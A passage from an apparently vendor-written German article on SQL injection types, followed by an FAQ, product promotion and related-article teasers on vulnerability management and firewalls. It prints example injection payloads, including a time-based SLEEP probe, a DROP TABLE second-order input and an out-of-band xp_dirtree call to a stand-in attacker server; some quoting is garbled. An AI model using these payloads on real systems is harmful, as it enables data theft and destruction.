Bei diesem Angriff werden Datenbankfehlermeldungen genutzt, um Informationen zu erhalten. Beispielsweise eine Abfrage wie die folgende: SELECT * FROM products WHERE id = 1 AND CONVERT(INT, (SELECT @@version)); – kann eine Fehlermeldung erzwingen, die entweder die SQL-Version oder strukturelle Informationen über die Datenbank preisgibt. Diese Hinweise können dem Angreifer Informationen liefern, um nachfolgende Exploits zu entwickeln.

7. Boolesche SQL-Injection

Die boolesche SQL-Injection ist eine Art der blinden SQL-Injection, bei der versucht wird, Informationen über Wahr/Falsch-Bedingungen abzurufen. Ein Beispiel sieht wie folgt aus: SELECT * FROM users WHERE id = ‘$id’ AND ‘1’=’1′; Wenn diese Abfrage ein Ergebnis liefert, die gleiche Abfrage mit ‘1’=’0′’ nicht, wissen sie, dass die Injektion funktioniert hat. Dieser Ansatz gilt, wenn es keine sichtbare Ausgabe für den Angreifer gibt.

8. Zeitbasierte blinde SQL-Injection

Zeitbasierte blinde SQL-Injection hängt von Zeitverzögerungen ab, um Rückschlüsse auf die Ergebnisse einer Abfrage zu ziehen. Beispiel: SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0); Wenn die Seite länger als gewöhnlich lädt, kommt der Angreifer zu dem Schluss, dass die Abfrage erfolgreich abgeschlossen wurde. Dies wird in der Regel ausgeführt, wenn keine Fehlermeldungen oder andere sichtbare Rückmeldungen verfügbar sind.

9. SQL-Injection zweiter Ordnung

Dies geschieht, wenn eine böswillige Eingabe irgendwo gespeichert wird und nach einiger Zeit in einer anderen Datenbankoperation ausgeführt wird. Beispiel: John’); DROP TABLE users;– Wenn diese Eingabe gespeichert und dann in einer anderen Abfrage ohne ordnungsgemäße Validierung ausgeführt wird, kann dies zu erheblichen Schäden führen, wie z. B. dem Löschen einer wichtigen Tabelle.

10. Out-of-Band-SQL-Injection

Bei dieser Art von Angriff erfolgt die Offenlegung von Informationen über externe Kanäle wie HTTP- oder DNS-Anfragen. Beispiel: SELECT * FROM users WHERE id = 1; EXEC xp_dirtree ‘\\attacker-server\share’; Diese Abfrage sendet wiederum eine Anfrage an einen vom Angreifer kontrollierten Server und extrahiert so indirekt Daten. Bei einer Out-of-Band-Injection muss die Datenbank die ausgehenden Verbindungen aktivieren.

11. SQL-Injection in gespeicherte Prozeduren

SQL-Injection zielt auf die gespeicherten Prozeduren selbst ab. Ein gutes Beispiel hierfür findet sich in dieser gespeicherten Prozedur: CREATE PROCEDURE GetUserData @username NVARCHAR(50) AS EXEC(‘SELECT * FROM users WHERE username = ”’ + @username + ””); Die Eingabe könnte ‘ ODER "1=1" lauten und die Abfrage manipulieren. Wenn Eingaben in gespeicherte Prozeduren nicht ordnungsgemäß bereinigt werden, können sie genauso anfällig sein wie Inline-SQL-Abfragen.

KI-gestützte Cybersicherheit

Verbessern Sie Ihre Sicherheitslage mit Echtzeit-Erkennung, maschineller Reaktion und vollständiger Transparenz Ihrer gesamten digitalen Umgebung.

Demo anfordern

Fazit

Letztendlich bleibt SQL-Injection eine der größten Sicherheitsbedrohungen für Webanwendungen und Datenbanken. Mangelhafte Eingabevalidierung, schwache Abfrageverarbeitung und veraltete Sicherheitspraktiken tragen dazu bei, dass diese Art von Angriffen selbst bei einer so bekannten Schwachstelle häufig vorkommen. Ein erfolgreicher SQL-Injection-Angriff kann zu Datenklau, finanziellen Verlusten, Reputationsschäden und sogar rechtlichen Konsequenzen führen. Daher ist es für Unternehmen sehr wichtig, umfassende Sicherheitsmaßnahmen wie vorbereitete Anweisungen, Eingabevalidierung und Web Application Firewalls zu implementieren.

Jedes Unternehmen sollte SQL-Injection-Schwachstellen sehr ernst nehmen, insbesondere wenn sensible Kundendaten verarbeitet werden. Durch die Befolgung der in diesem Artikel beschriebenen Best Practices, regelmäßige Sicherheitsaudits und die Schulung von Entwicklern in sicheren Programmierpraktiken können Unternehmen das Risiko verringern, Opfer von SQL-Injection-Angriffen zu werden.

"

Häufig gestellte Fragen zu SQL-Injection

Die Folgen von SQL-Injection-Angriffen gehen weit über das bloße Einschleusen von Schadcode in Ihr Unternehmen hinaus. Wenn Angreifer die Anmeldedaten Ihrer Benutzer sammeln und stehlen, erhalten sie unbefugten Zugriff auf sensible Datenbanken, Server und andere Ressourcen. Sie können Berechtigungen erweitern, vertrauliche Informationen offenlegen oder Ihre Daten im Dark Web verkaufen. Die Auswirkungen reichen weit in die Zukunft und betreffen den Ruf und die Integrität Ihres Unternehmens.

Wir empfehlen die Verwendung der Singularity™-Plattform zur Bekämpfung von SQL-Injection-Bedrohungen. Sie bietet unternehmensweiten Schutz und umfasst alle Tools und Funktionen, die Sie für autonome Reaktionen, uneingeschränkte Transparenz und branchenführende Erkennung benötigen.

Sie können SQLi-Angriffe verhindern, indem Sie Zulassungslisten oder Whitelists verwenden und kontinuierliche Schwachstellenscans und Penetrationstests durchführen. Setzen Sie Web Application Firewalls (WAF) ein, wenden Sie das Prinzip der geringsten Privilegien an und wenden Sie Prozesse zur Eingabevalidierung und -bereinigung an.

Begrenzen Sie den Umfang des Schadens und konzentrieren Sie sich darauf, die Bedrohung einzudämmen. Aktivieren Sie Ihre Infrastruktur wieder, beheben Sie Webseiten/Befehle mit erkannten Schwachstellen und fahren Sie infizierte Dienste herunter. Stellen Sie verlorene Daten aus Ihren aktuellen Backups wieder her und verwenden Sie eine fortschrittliche Lösung zur Erkennung von Bedrohungen wie SentinelOne, um den Ursprung des Angriffs zu lokalisieren und zu beheben.

Erfahren Sie mehr über Cybersecurity

Was ist ein Schwachstellenmanagementsystem (VMS)?Cybersecurity

Was ist ein Schwachstellenmanagementsystem (VMS)?

Erfahren Sie, was ein Schwachstellenmanagementsystem (VMS) leistet, warum Unternehmen eines benötigen und wie es Sicherheitslücken erkennt und Verstöße verhindert. Lernen Sie die Funktionen, Arten und Best Practices für VMS im Jahr 2025 kennen.

Mehr lesen
Vulnerability Management für Dummies: Ein Leitfaden für EinsteigerCybersecurity

Vulnerability Management für Dummies: Ein Leitfaden für Einsteiger

Da Unternehmen immer mehr ihrer Systeme mit dem Internet verbinden, bleiben unbehandelte Software- und unentdeckte Programmschwächen für Angreifer attraktiv. Untersuchungen zufolge weisen 84 % der Unternehmen hochriskante Schwachstellen auf, die sofort identifiziert und behoben werden müssen. Für Neulinge auf diesem Gebiet fasst das Schwachstellenmanagement für Dummies die grundlegenden Schritte zusammen: Scannen, Bewerten, Priorisieren und Patchen. Dieser Artikel beschreibt, wie Anfänger die Prozesse in den regulären Betrieb integrieren können, um Systeme vor neuen Bedrohungen zu schützen, die ständig auftauchen. In diesem Artikel behandeln wir folgende Themen: Eine einsteigerfreundliche Erklärung, was Schwachstellenmanagement ist und warum es wichtig ist. Häufige Arten von Sicherheitsproblemen, die Ihr Netzwerk oder Ihre Anwendungen gefährden können. Wichtige Schritte beim Scannen und Patchen sowie bewährte Verfahren zur Vermeidung häufiger Fehler. Was ist Vulnerability Management? (Und warum sollten Sie sich dafür interessieren?) Vulnerability Management für Dummies konzentriert sich auf das Aufspüren und Beheben von Schwachstellen – wie nicht gepatchte Software oder Fehlkonfigurationen –, die Angreifer zum Eindringen nutzen könnten. Cyberangriffe haben in den letzten Jahren aufgrund der zunehmenden Komplexität von IT-Systemen um 200 % zugenommen. Dieser Ansatz umfasst die Kategorisierung von Problemen, die Bestimmung ihres Schweregrads und die Gewährleistung, dass sie so schnell wie möglich behoben werden. Es handelt sich um einen kontinuierlichen Prozess, bei dem Schwachstellen gesucht, gepatcht und anschließend die Sicherheit des Systems verbessert wird, um so das Risiko zu minimieren, dass ein Unternehmen Opfer einer schwerwiegenden Sicherheitsverletzung wird oder durch einen Cyberangriff wertvolle Zeit und Geld verliert. Es geht darum, Probleme frühzeitig zu erkennen: Der erste Schritt des Schwachstellenmanagements umfasst das Scannen von Netzwerken, Servern, Endpunkten und sogar Container-Images. Dabei wird eine Liste möglicher Schwachstellen erstellt, darunter fehlende Patches, die Verwendung veralteter Protokolle usw. Für Anfänger im Schwachstellenmanagement gilt: Die frühzeitige Behebung dieser bekannten Schwachstellen reduziert die Angriffsmöglichkeiten drastisch. Anstatt Monate zu benötigen, verwenden Teams schnelle Erkennungsprozesse. Risikomanagement mit Priorisierung: Nicht alle entdeckten Schwachstellen sind gleich; einige wurden möglicherweise bereits ausgenutzt oder befinden sich auf Systemen, die für die Mission kritisch sind. Wenn Sie Schweregradbewertungen zusammen mit den Auswirkungen auf das Geschäft verwenden, ist es möglich, die gefährlichsten Risiken zu priorisieren. Dieser Übergang vom Ansatz "alles reparieren" zum "risikobasierten" Ansatz beschleunigt die Reaktion auf die wichtigsten Probleme. Er steht auch im Einklang mit einem effektiven Schwachstellenmanagementprogramm, das systematisch auf dringende Probleme abzielt. Verringerung von Störungen durch Angriffe: Es ist erwiesen, dass Unterbrechungen durch Hackerangriffe zugenommen haben, insbesondere bei Unternehmen mit großen Netzwerken. Eine einzige nicht gepatchte Anwendung kann Hackern daher einen Freifahrtschein zum Eindringen in ein gesamtes System verschaffen. Solche Auswirkungen können durch sofortiges Patchen oder Neukonfigurieren des Systems nach dem Scan verhindert werden. Beispiele für das Schwachstellenmanagement zeigen, dass eine frühzeitige Erkennung und schnelle Behebung den Umfang eines versuchten Angriffs drastisch einschränken. Kontinuierliche Überprüfungen: Sicherheit ist ein fortlaufender Prozess: Software-Updates, neue Tools werden entwickelt und Mitarbeiter können innerhalb weniger Minuten Container einrichten. Durch tägliche Scans kann überprüft werden, ob neuer Code eingeführt wurde und ob die Konfigurationen falsch eingerichtet wurden. Für Anfänger im Bereich Schwachstellenmanagement sorgt ein zyklischer Scan-Zeitplan – wöchentlich oder monatlich – für eine konsistente Überwachung der Umgebung. Es ist jedoch zu beachten, dass durch die Verfeinerung der Intervalle oder die Implementierung von Echtzeit-Scans die Abdeckung auf lange Sicht noch weiter verbessert wird. Schutz langfristiger Geschäftsinteressen: Wenn diese Schwachstellen nicht behoben werden, stellen sie nicht nur ein technisches Problem dar, sondern auch eine potenzielle Gefahr für die Integrität der Marke, die Einhaltung gesetzlicher Vorschriften und das Vertrauen von Kunden oder Geschäftspartnern. Durch die systematische Beseitigung von Schwachstellen schützen sich Unternehmen nicht nur vor Störungen, sondern stellen auch die Einhaltung von Vorschriften sicher. Diese kontinuierliche Aufmerksamkeit fördert ein stabiles Umfeld für Innovationen. Schließlich verbindet das Schwachstellenmanagement die kurzfristige Praxis des Netzwerk-Scannings mit einem langfristigen strategischen Ansatz zur Sicherung der Unternehmensnachhaltigkeit. Häufige Arten von Sicherheitslücken Bei so vielen verschiedenen Softwareebenen, vom Betriebssystem bis zur Container-Orchestrierung, ist es nicht verwunderlich, dass es in allen Ebenen Schwachstellen gibt. Eine Statistik zeigt, dass in einigen Branchen, wie beispielsweise dem Bildungswesen, 56 % der Hackerangriffe auf ausgenutzte Schwachstellen zurückzuführen sind. Für das Schwachstellenmanagement für Anfänger ist es entscheidend zu erkennen, welche Fehlerkategorien am häufigsten auftreten. Hier sind fünf häufige Bereiche mit Schwachstellen, die alle einer sorgfältigen Überwachung bedürfen: Nicht gepatchte Software und Firmware: Veraltete Betriebssystemkerne, Anwendungsbibliotheken oder Geräte-Firmware gehören zu den häufigsten Ursachen für Sicherheitsverletzungen. Angreifer überwachen bekannte CVEs und automatisierte Skripte, um herauszufinden, wer seine Systeme nicht aktualisiert hat. Manuelle Überprüfungen oder die Nichtbeachtung von Updates von Anbietern können auf lange Sicht problematisch sein. Automatische Patch-Zeitpläne oder Warnsysteme tragen dazu bei, dass solche Schwachstellen geschlossen bleiben. Fehlkonfigurationen: Manchmal lässt ein Administrator die Standard-Anmeldedaten auf einem Router stehen oder ein S3-Bucket bleibt für die Öffentlichkeit zugänglich. Diese Fehlkonfigurationen, die in der Regel bei einer schnellen Bereitstellung von Systemen auftreten, werden zu Schwachstellen, die Angreifer leicht ausnutzen können. Beispiele hierfür sind eine Datenbank, die alle Schnittstellen überwacht, oder ein SSH-Port, der ohne Firewall-Regeln zur Zugriffsbeschränkung offen gelassen wurde. Solche Versäumnisse werden durch routinemäßige Scans und die Anwendung eines umfassenden QA-Prozesses verhindert. Schwache Anmeldedaten: Schwache Passwörter und die Verwendung gängiger Konten gefährden die Sicherheit, da Angreifer diese erraten oder sich mit Brute-Force-Angriffen Zugang zu Systemen verschaffen können. Benutzer verwenden weiterhin einfache und leicht zu erratende Passwörter wie "123456", "Passwort" oder Standard-Anmeldedaten auf Geräten, was zu hohen Zahlen von Sicherheitsverletzungen beiträgt. Beispiele für das Schwachstellenmanagement sind das Scannen nach offengelegten Anmeldedaten oder die Einführung robuster Passwortrichtlinien. In Kombination damit wird auch die Multi-Faktor-Authentifizierung gestärkt. Fehlende Verschlüsselung oder veraltete Protokolle: Einige der älteren Protokolle, wie Telnet oder das Senden unverschlüsselter Daten über das Netzwerk, können abgefangen oder verändert werden. Hacker, die Netzwerkscans durchführen, können solche Methoden ebenfalls relativ schnell anwenden. SSH oder TLS-Aktualisierungen ersetzen diese und schließen somit die Lücke. Für das Schwachstellenmanagement für Anfänger ist die Identifizierung dieser Protokollschwächen entscheidend für moderne, sichere Netzwerke. Versteckte Containerfehler: In containerbasierten DevOps können Images eingebettete Bibliotheken enthalten, die möglicherweise veraltet sind oder mit erhöhten Berechtigungen ausgeführt werden. Diese können von Angreifern ausgenutzt werden, um sich in Container-Orchestrierungen Zugang zu verschaffen. Durch das Scannen der Container werden vorhandene Schwachstellen oder Fehlkonfigurationen in den Basis-Images erkannt. Die Einbindung von Containerscans in die Entwicklungszyklen garantiert, dass neue Releases vor Bedrohungen sicher sind. Wie finden Hacker Schwachstellen in Systemen? Um ihre Ziele zu erreichen, wenden Angreifer verschiedene Ansätze an, die vom Scannen ganzer IP-Bereiche bis zum Diebstahl von Anmeldedaten reichen. Sie nutzen alte Software, schlecht verwaltete Konfigurationen oder Mitarbeiter, die dasselbe Passwort verwenden, aus. Im Folgenden beschreiben wir fünf wichtige Techniken, mit denen Kriminelle Schwachstellen aufdecken und ausnutzen, und unterstreichen damit den Wert des Schwachstellenmanagements für Anfänger. Automatisierte Netzwerkscans: Hacker verwenden Scan-Tools, die sich mit vielen IP-Adressen verbinden, um nach offenen Ports oder bekannten Softwareversionen zu suchen. Wenn sie ein nicht gepatchtes oder anfälliges System oder ein System mit einer älteren Softwareversion finden, suchen sie nach öffentlich zugänglichen Exploits. Dies liefert sofort umfassende Ergebnisse – ähnlich wie die Suche nach einem Server mit einer bestimmten Schwachstelle über einen Adressbereich hinweg. Durch konsequentes internes Scannen können die Verteidiger genau diese Probleme als Erste identifizieren. Durchsuchen von Exploit-Datenbanken: Einige der Ressourcen, die nützlich sind, um neue Schwachstellen zu finden oder deren Nutzung zu ermitteln, sind Exploit-DB oder Herstellerhinweise. Diese Feeds werden von Angreifern überwacht, um zu ermitteln, welche Software gefährdet ist, und um dann festzustellen, ob die Ziele diese Software ausführen. Eine Verzögerung zwischen der Offenlegung und der Erstellung oder Bereitstellung von Patches gibt Kriminellen oft ein Zeitfenster zum Handeln. Das Schwachstellenmanagement für Anfänger empfiehlt zeitnahes Patchen, um dieses Zeitfenster zu schließen. Social Engineering und Phishing: Obwohl nicht so direkt wie die Ausnutzung von Schwachstellen auf Code-Ebene, können Phishing oder Business E-Mail Compromise dazu führen, dass Zugangsdaten zu kritischen Systemen erlangt werden. Angreifer melden sich dann an oder erweitern ihre Berechtigungen und suchen nach internen Schwachstellen, die noch nicht gepatcht wurden. Selbst wenn ein Unternehmen in umfangreiche Scan-Tools investiert hat, kann ein einzelner Endbenutzer einen Einstiegspunkt für Phishing schaffen. Die Kombination aus Schulungen zur Sensibilisierung der Benutzer und Patch-Abdeckung bietet einen mehrschichtigen Schutzansatz. Brute-Force- oder Wörterbuchangriffe: Unzureichende Passwörter sind leicht zu knacken oder zu erraten, und wiederverwendete Passwörter sind ebenso anfällig. Hacker versuchen, generische Passwörter oder Passwortlisten zu verwenden, die online veröffentlicht wurden. Wenn es ihnen gelingt, in ein System einzudringen, können sie möglicherweise noch weiter vordringen. Die Implementierung strenger Passwortrichtlinien oder einer Multi-Faktor-Authentifizierung wirkt solchen Versuchen entgegen und verstärkt ein effektives Schwachstellenmanagementprogramm, das nicht nur Codefehler, sondern auch Authentifizierungspraktiken berücksichtigt. Insider-Bedrohungen oder Lecks: Gelegentlich hat ein Mitarbeiter oder Auftragnehmer legitimen Zugriff auf ein System und hinterlässt absichtlich oder unabsichtlich Anmeldedaten oder Code. Bedrohungsakteure nutzen diese Erkenntnisse, um sich schnell durch Systeme zu bewegen. Dies lässt sich verhindern, indem man bei der Vergabe von Benutzerrechten vorsichtig ist, insbesondere bei wichtigen Daten oder Produktionsservern. Regelmäßige Überprüfungen und Scans stellen sicher, dass keine Änderungen oder Konten, die nicht vorhanden sein sollten, bestehen bleiben, wodurch unüberwachte Wege, die Insider ausnutzen könnten, beseitigt werden. 4 Hauptschritte des Schwachstellenmanagements Das Schwachstellenmanagement für Anfänger lässt sich oft auf vier Hauptschritte reduzieren: Scannen, Priorisieren, Beheben und kontinuierliche Überwachung. Diese Phasen bilden einen Kreislauf, in dem ständig neue Schwachstellen identifiziert, behoben und eine erneute Infektion verhindert werden. Im nächsten Abschnitt erläutern wir jeden dieser Schritte im Detail und zeigen, wie Sie von der Erkennung zu einer nachhaltigen Patch-Abdeckung gelangen. Sicherheitslücken finden (Scannen Ihres Systems): Wöchentliche oder monatliche Scans decken alte Betriebssysteme, nicht gepatchte Anwendungen, offene Ports oder Fehlkonfigurationen auf. Tools können auch auf Container-Images angewendet werden, wodurch verhindert wird, dass zuvor behobene Schwachstellen erneut auftreten. Durch die Erstellung einer Asset-Liste oder das Scannen des gesamten Subnetzes erhalten Teams einen Überblick über die Umgebung. Bei Beispielen für Schwachstellenmanagement in großem Maßstab hilft eine teilweise Automatisierung bei der Verarbeitung großer Mengen von Endpunkten. Der Schlüssel liegt in der Vollständigkeit und der Fähigkeit, neu eingeführte Geräte oder Software-Patches zu erkennen. Das Risiko verstehen (Welche sind am wichtigsten?): Nachdem Sie eine Liste der Ergebnisse erhalten haben, besteht der nächste Schritt darin, die Ergebnisse nach ihrer Schwere und der Wahrscheinlichkeit eines Exploits zu sortieren. Angreifer beginnen oft damit, öffentlich bekannte Schwachstellen auszunutzen, die leicht zu finden sind. Auf diese Weise wird die Schwere des Problems mit der geschäftlichen Relevanz abgewogen, und kritische Server oder öffentliche Ports erhalten die erforderliche Aufmerksamkeit. Dieser risikobasierte Ansatz steht im Einklang mit einem effektiven Schwachstellenmanagementprogramm und verbindet die reine Erkennung mit strategischen Maßnahmen. Langfristig kann die Feinabstimmung dieser Prioritäten dazu beitragen, die Rate der Korrekturzyklen zu erhöhen. Lösung (Patches und Updates): Die Behebung kann das Anwenden von Hersteller-Patches, das Umsteigen auf eine stabilere Release-Version oder das Anpassen von Einstellungen umfassen. Einige Unternehmen planen ihre Patches für einen bestimmten Zeitpunkt, aber kritische Fehler können auch ohne das Warten auf den geplanten Zeitpunkt behoben werden. Für Anfänger im Bereich Schwachstellenmanagement fördert die Einführung eines konsistenten Patch-Zeitplans die Vorhersehbarkeit – beispielsweise monatliche Patch-Tuesdays. Schwachstellentests stellen sicher, dass keine weiteren Fehler auftreten, während die erfolgreiche Implementierung von Patches die Möglichkeit einer Ausnutzung verringert. Überwachung und Verbesserung (Sicherheit gewährleisten): Neue Codeänderungen oder ältere Images können auch nach der Installation von Patches bekannte Schwachstellen wieder hervorrufen. Durch kontinuierliche Scans oder regelmäßige Überprüfungen wird außerdem sichergestellt, dass behobene Schwachstellen weiterhin geschlossen bleiben. Langfristig fließen die Kennzahlen der Patches, wie z. B. die durchschnittliche Zeit bis zur Behebung, in den Änderungsprozess ein. Die Integration des Scannings in DevOps-Praktiken verhindert die Veröffentlichung von Code, der Fehler oder Probleme enthält, die nicht behoben wurden. Dieser Zyklus stellt sicher, dass sich das Verteidigungssystem ständig an neue Bedrohungen anpasst. Bewährte Verfahren zur Sicherung Ihres Systems Die effektive Implementierung eines Schwachstellenmanagements für Dummies erfordert spezifische Strategien, die das Scannen mit der Echtzeit-Risikobehandlung vereinen. Die effektivsten Ergebnisse werden erzielt, wenn technische Aufgaben und organisatorische Prozesse aufeinander abgestimmt sind, um sicherzustellen, dass identifizierte Probleme nicht offen bleiben. Im Folgenden finden Sie fünf empfohlene Ansätze, die ein effektives Schwachstellenmanagementprogramm für Unternehmen unterschiedlicher Größe verbessern können: Führen Sie ein aktuelles Bestandsverzeichnis: Es ist unerlässlich, jeden vorhandenen Server, jede Containerumgebung und jede externe Anwendung zu überwachen. Wenn die Liste nicht korrekt ist, können beim Scannen einige Systeme mit latenten Schwachstellen übersehen werden. Neue oder stillgelegte Assets werden durch automatisierte Erkennungstools sowie routinemäßige Bestandsüberprüfungen identifiziert. Diese Basis garantiert die Abdeckung von DevOps-Labors, Remote-Endpunkten oder kurzlebigen Containern. Klare Patch-Prioritäten festlegen: Nicht alle Arten von Fehlern sind dringend und sie haben unterschiedliche Prioritäten. Einige betreffen veraltete Software, die selten verwendet wird, während andere Produktionsserver betreffen, die direkt mit dem Internet verbunden sind. Die Mitarbeiter können dann Prioritäten setzen, welche Schwachstellen zuerst behoben werden sollen, indem sie jede Schwachstelle nach ihrer Schwere und ihrem Nutzungskontext kategorisieren. Langfristig erweist sich eine risikobasierte Patch-Planung als vorteilhafter als der Versuch, alles auf einmal zu patchen oder die relativ risikoarmen, aber relativ leicht auszunutzenden Schwachstellen einfach zu übersehen. Scannen in DevOps integrieren: In modernen DevOps Prozessen erscheinen täglich neue Container-Images oder Code-Releases. Die Integration von Scans hilft auch dabei, potenzielle Probleme zu identifizieren, bevor Produkte für die Produktion bereit sind, was viel Zeit spart, die sonst für die Behebung solcher Probleme in den letzten Phasen des Entwicklungsprozesses aufgewendet worden wäre. Sicherheitstools, die Images zum Zeitpunkt der Erstellung überprüfen oder eine Zusammenführung verhindern, wenn Schwachstellen entdeckt werden, können dazu beitragen, Sicherheit als Standard in der Entwicklungspipeline zu etablieren. Dies hilft, Probleme auf Produktionsebene zu reduzieren und die Geschwindigkeit der Patch-Implementierung zu erhöhen. Erfassen Sie Metriken und wichtige Leistungsindikatoren: Von der durchschnittlichen Zeit bis zur Behebung bis hin zu Patch-Compliance-Raten zeigen Statistiken, ob das Programm Fortschritte macht oder stagniert. Wenn die durchschnittliche Zeit bis zur Behebung zunimmt, kann dies auf Personalmangel oder Probleme mit Patches zurückzuführen sein. Anhand dieser Indikatoren können Teams die Planung verbessern oder auf mehr Automatisierung zurückgreifen. Die Nachverfolgung ermöglicht auch die Überprüfung der Compliance oder eine Überprüfung durch die Geschäftsleitung, um sicherzustellen, dass Schwachstellen nicht lange offen bleiben. Durchführung regelmäßiger Penetrationstests: Zusätzlich zu den regelmäßigen automatisierten Schwachstellenscans liefern gelegentliche Penetrationstests Einblicke, wie die Schwachstellen in der Praxis ausgenutzt werden können. Dies hilft dabei, andere Schwachstellen zu identifizieren, die bei einzelnen Scans, die sich nur auf ein Problem konzentrieren, möglicherweise schwer zu erkennen sind. Für Anfänger im Bereich Schwachstellenmanagement ist dies eine Möglichkeit, um zu überprüfen, ob Ihre Scan- und Patching-Prozesse auch unter widrigen Testbedingungen standhalten. In Kombination mit Scan-Protokollen garantiert dies einen systematischen Ansatz, der sowohl bekannte als auch neu auftretende Bedrohungen berücksichtigt. Fehler, die beim Schwachstellenmanagement zu vermeiden sind Dennoch gibt es mehrere Herausforderungen, die sich auf die gesamten Scan- und Patch-Zyklen auswirken können. Von falsch gesetzten Prioritäten bis hin zu mangelnder Aufmerksamkeit für das Scannen von Containern – diese Versäumnisse behindern den Übergang von der Identifizierung von Schwachstellen zu deren Behebung. Im Folgenden beschreiben wir fünf Fehler, die das Schwachstellenmanagement für Anfänger behindern, sowie Tipps, um diese Fehler zu vermeiden: Patches auf unbestimmte Zeit verzögern: Einige Teams erfahren von kritischen Schwachstellen und verschieben das Patchen aufgrund von Bedenken hinsichtlich möglicher Systemausfälle oder Leistungseinbußen. Gleichzeitig nutzen Angreifer offensichtliche Schwachstellen, die von niemandem geschlossen werden. Es ist wichtig, Patches zu installieren oder zumindest kurzfristige Workarounds anzuwenden. Wenn die Schwachstelle bereits aktiv ausgenutzt wird, kann das Versäumnis, das System zu patchen, zu einer schwerwiegenden Datenverletzung führen. Ignorieren von Containerumgebungen: DevOps-Prozesse auf Basis von Containern können zu wiederholten Schwachstellen führen, wenn die Images oder Basisschichten unsicher werden. Werden Container nicht gescannt, bedeutet dies, dass diese Mängel erneut in den Fertigungsprozess gelangen. Ein effektives Schwachstellenmanagementprogramm umfasst das regelmäßige Scannen von Container-Registern, um sicherzustellen, dass aktualisierte Images erstellt werden. Dadurch wird die Wahrscheinlichkeit ausgeschlossen, dass bei jeder neuen Bereitstellung dieselben Schwachstellen erneut auftreten. Nichtverfolgung der Ergebnisse von Korrekturen: Das Anwenden eines Patches bedeutet nicht unbedingt, dass die Schwachstelle tatsächlich behoben wurde. Wenn Protokolle nicht überprüft oder gegengeprüft werden, kann dies dazu führen, dass Teams glauben, dass Aktivitäten abgeschlossen sind, obwohl dies nicht der Fall ist. Erneute Scans oder nachfolgende Audits bestätigen die Wirksamkeit des Patches, zeigen eine teilweise Behebung auf oder stellen fest, dass die Schwachstelle erneut auftritt. Langfristig führt die wiederholte Überprüfung jeder Korrektur zu einer Verbesserung der Erfolgsquote von Patches und zu einem höheren Vertrauen der Benutzer in die Scan-Ergebnisse. Übermäßige Konzentration auf CVSS allein: CVSS eignet sich gut zur Quantifizierung der Schwere einer Schwachstelle, berücksichtigt jedoch nicht die Praktikabilität eines Exploits oder die Auswirkungen auf das Geschäft. Während eine Schwachstelle mit mittlerem Schweregrad einen aktiven Exploit haben kann, muss eine Schwachstelle mit kritischem Schweregrad nicht unbedingt einen Exploit-Pfad haben. Ein risikobasierter Ansatz integriert jedoch CVSS mit Bedrohungsinformationen, Systemkritikalität oder Datensensibilität. Dies ist realistischer als andere Modelle, bei denen dringende Probleme als dringliche Angelegenheit behandelt werden. Fehlende Zusammenarbeit zwischen Teams: Während das Sicherheitspersonal Schwachstellen identifizieren kann, wird die tatsächliche Behebung in der Regel von Entwicklern oder Systemadministratoren durchgeführt. Mangelnde effektive Kommunikation kann den Patch-Prozess verlangsamen oder zu Unklarheiten hinsichtlich der Zuständigkeiten führen. Klare Abgrenzungen, z. B. wer für Betriebssystem-Updates oder Container-Basisimages verantwortlich ist, tragen dazu bei, dies zu vermeiden. Kontinuierliche Überprüfungen oder integriertes Ticketing fördern die Integration und stellen sicher, dass Schwachstellen vom ersten Scan bis zur Behebung berücksichtigt werden. Fazit – Sicherheit einfach und effektiv halten Die Förderung eines robusten Schwachstellenmanagements für Anfänger erfordert keine komplexe Fachsprache oder überwältigende Prozesse. Durch regelmäßige Scans, die richtige Auswahl von Risiken und die Implementierung von Patch-Schritten in alltägliche Prozesse können selbst Teams mit begrenzten Ressourcen Sicherheitsverletzungen erheblich reduzieren. Mit zunehmender Komplexität von Netzwerken durch Container, Remote-Endpunkte oder Cloud-Dienste entstehen neue Bedrohungen. Der beste Weg, mit ihnen umzugehen, besteht darin, sie sofort zu bekämpfen, anstatt sie sich anhäufen zu lassen. Dieser zyklische Ansatz, kombiniert mit Benutzerschulungen und einer gründlichen Überwachung, sorgt für ein effektives Schwachstellenmanagementprogramm, das auch langfristig Bestand hat. Wenn Teams Systemschwachstellen identifizieren, priorisieren und beheben, sinkt die Motivation für böswillige Akteure, ältere Codes oder falsch konfigurierte Einstellungen anzugreifen. Die Integration der Scan-Ergebnisse in DevOps-Pipelines oder die Verteilung automatisierter Patches garantiert, dass entdeckte Probleme nicht monatelang ungelöst bleiben. Andererseits verhindern risikobasierte Ansätze, dass Mitarbeiter von zahlreichen kleineren Problemen überfordert werden und dabei wichtige Probleme übersehen. Für Anfänger im Bereich Schwachstellenmanagement fördert die Beherrschung dieser Grundlagen eine zukunftsfähige Haltung, die Daten, Compliance und den Ruf des Unternehmens schützt."

Mehr lesen
Was ist eine Firewall?Cybersecurity

Was ist eine Firewall?

Firewalls sind wichtige Sicherheitsvorrichtungen, die den ein- und ausgehenden Netzwerkverkehr auf der Grundlage vordefinierter Sicherheitsregeln überwachen und kontrollieren. Unser Leitfaden befasst sich mit den verschiedenen Arten von Firewalls, darunter Paketfilterung, Stateful Inspection und Firewalls auf Anwendungsebene, und erläutert ihre Rolle beim Schutz von Netzwerken vor unbefugtem Zugriff. Erfahren Sie mehr über bewährte Verfahren zur Konfiguration und Verwaltung von Firewalls, um eine robuste Netzwerksicherheit zu gewährleisten. Bleiben Sie über die neuesten Trends in der Firewall-Technologie auf dem Laufenden und erfahren Sie, wie diese zum Schutz der digitalen Ressourcen Ihres Unternehmens beitragen können. Welche verschiedenen Arten von Firewalls gibt es? Es gibt verschiedene Arten von Firewalls, die anhand ihres Formats oder ihrer Funktion definiert werden. Hier werden wir zunächst die grundlegenden Formfaktoren von Firewalls und anschließend ihre Funktionen erläutern. Zu den Formfaktoren von Firewalls gehören die folgenden: Standalone-Firewall – Ein Gerät, das den Internetverkehr zu und von einem privaten Netzwerk filtert. Diese Art von dediziertem Gerät ist typisch für größere Unternehmen und normalerweise nicht in privaten Internetumgebungen zu finden. Integrierte Router-Firewall – Internetrouter, die typischerweise in Privathaushalten und kleinen Unternehmen eingesetzt werden, verfügen in der Regel über eine integrierte Firewall-Funktionalität. Dies trägt dazu bei, kleine Netzwerke zu schützen, ohne dass der Verbraucher sich darum kümmern muss, bietet jedoch weniger Kontrollmöglichkeiten als dedizierte Lösungen. Cloud-native Firewall – Diese Firewalls werden in Cloud-basierten Umgebungen eingesetzt und schützen virtualisierte Infrastrukturen, die für das traditionelle Firewall-Paradigma der Abschottung eines Netzwerks vom anderen 